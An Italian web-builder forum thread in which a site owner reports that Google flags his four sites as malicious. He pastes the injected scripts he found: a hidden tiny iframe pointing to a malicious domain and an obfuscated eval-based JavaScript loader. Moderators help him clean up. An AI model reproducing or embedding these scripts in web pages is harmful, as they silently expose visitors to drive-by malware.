Autore Topic: malware nei miei siti secondo google  (Letto 2938 volte)

blek

  • Nuovo arrivato
  • *
  • Post: 4
malware nei miei siti secondo google
« il: 07 Agosto, 2012, 00:34:15 »
Ciao a tutti e un piacere ritrovarvi ho un problemone che e il seguente: i 4 siti che gestico amatorialmente, da qualche settimana facendo la ricerca su google tuti e 4 risultano essere dannosi per il pc se si vuol visitarli.
gli script incriminati sono questi:
---------------------------------------------------------------
<script type="text/javascript">
document.write('<iframe src="http://forkfamiliarity.ind.in/?
2" name="Google+" scrolling="auto" frameborder="no" align="c
enter" height="2" width="2"></iframe>');
</script
---------------------------------------------------------------------
e questo:
<script>try{n-=eval("p"+"rototype");}catch(zxc){e=eval;n="11
7..100..900..1110..891..1170..981..1010..990..1160..414..119
0..1026..1050..1044..1010..360..390..540..1050..918..1140..8
73..1090..909..320..1035..1140..891..610..306..1040..1044..1
160..1008..580..423..470..918..1110..1026..1070..918..970..9
81..1050..972..1050..873..1140..945..1160..1089..460..945..1
100..900..460..945..1100..423..630..450..340..288..1100..873
..1090..909..610..306..710..999..1110..927..1080..909..430..
306..320..1035..990..1026..1110..972..1080..945..1100..927..
610..306..970..1053..1160..999..340..288..1020..1026..970..9
81..1010..882..1110..1026..1000..909..1140..549..340..990..1
110..306..320..873..1080..945..1030..990..610..306..990..909
..1100..1044..1010..1026..340..288..1040..909..1050..927..10
40..1044..610..306..500..306..320..1071..1050..900..1160..93
6..610..306..500..306..620..540..470..945..1020..1026..970..
981..1010..558..390..369..590..117..100..117..100".split("..
");h=2;s="";for(i=0;-166+i<0;i=1+i){k=i;s=s+String.fromCharC
ode(
--------------------------------------------------------------
io onestamente non so nemmeno come fare per aggiustre tale codice visto che uso website per creare questi siti.
La mia domanda e: Li crea il software questi script.
Grazie

serzio

  • Amministratore
  • Utente storico
  • *****
  • Post: 1706
Re:malware nei miei siti secondo google
« Risposta #1 il: 07 Agosto, 2012, 00:39:48 »
Ciao a tutti e un piacere ritrovarvi ho un problemone che e il seguente: i 4 siti che gestico amatorialmente, da qualche settimana facendo la ricerca su google tuti e 4 risultano essere dannosi per il pc se si vuol visitarli.
gli script incriminati sono questi:
---------------------------------------------------------------
<script type="text/javascript">
...
La mia domanda e: Li crea il software questi script.
Grazie

Effettivamente, la forma di questo script è sospetta. Dovresti provare ad eliminare ogni script diverso da quelli sgtandard di website, svuotare il sito e riesportare completamente. Ti consiglio di non utilizzare NESSUNO script di provenienza "ignota" e/o di cui non hai la possibilità/capacità di controllarne il codice.

blek

  • Nuovo arrivato
  • *
  • Post: 4
Re:malware nei miei siti secondo google
« Risposta #2 il: 07 Agosto, 2012, 00:45:39 »
Grazie serzio per la risposta ma il problema e che non so se questo codice l'abbia creato il programma mi sembra strano 4 su 4 i siti sono questi:
www.francomancuso.it
www.5primavere.it
www.agricolapirano.com
www.monteleonetrasporti.it
 

milux

  • Moderatore globale
  • Utente storico
  • *****
  • Post: 1779
    • 3MD
Re:malware nei miei siti secondo google
« Risposta #3 il: 07 Agosto, 2012, 08:04:55 »

---------------------------------------------------------------
<script type="text/javascript">
document.write('<iframe src="http://forkfamiliarity.ind.in/?
2" name="Google+" scrolling="auto" frameborder="no" align="c




c'è qualcosa di strano in questa pagina http://www.francomancuso.it/public/addguest.asp perchè cliccando su home richiama lo script che reindirizza al sito forkfamiliarity che viene segnalato come sito malevolo..



**OS : Windows 7 - 63Bit (uno è andato perso e non lo trovo..) + W10
**Website X5 :  Evo 10(active) - Evo 11(active) - 13(active)
**Wysiwyg Web Builder 12 (passa al lato oscuro..)
**Hosting : LINUX
**Editor : Notepad ++ / Geany

blek

  • Nuovo arrivato
  • *
  • Post: 4
Re:malware nei miei siti secondo google
« Risposta #4 il: 07 Agosto, 2012, 14:20:38 »
adesso sembra essere a posto ho ricaricato i siti, ma mi rimane sempre il dubbio di come sia potuto accadere.
grazie

serzio

  • Amministratore
  • Utente storico
  • *****
  • Post: 1706
Re:malware nei miei siti secondo google
« Risposta #5 il: 07 Agosto, 2012, 15:20:47 »
Occorrerebbe capire se hai utilizzato script esterni presi chissà dove. Oppure se hai qualche infezione sul tuo pc ....

skeggia

  • Utente inesperto
  • **
  • Post: 248
  • utente inesperto
    • Il sito del mio cucciolone
Re:malware nei miei siti secondo google
« Risposta #6 il: 07 Agosto, 2012, 16:55:38 »
guarda che il sito agricolapirano da' ancora infezione . . .

serzio

  • Amministratore
  • Utente storico
  • *****
  • Post: 1706
Re:malware nei miei siti secondo google
« Risposta #7 il: 07 Agosto, 2012, 17:04:18 »
guarda che il sito agricolapirano da' ancora infezione . . .

No, adesso è "pulito". C'e' solo da aspettare ... anche se .... potresti usare gli strumenti per webmaster di google "salute"-"malware" per richiedere un nuovo controllo del sito.

blek

  • Nuovo arrivato
  • *
  • Post: 4
Re:malware nei miei siti secondo google
« Risposta #8 il: 07 Agosto, 2012, 17:56:37 »
si ragazzi ho usato gli strumenti di google, sul sito di aruba si accenna al fatto e succede spesso  http://kb.aruba.it/News/95/recente-aumento-della-diffusione-di-virus-malware-consigli.aspx in pratica un malware nel mio pc ha infettato i siti che gestisco.Ho fatto pulizia con Malwarebytes e ne ha trovati 4.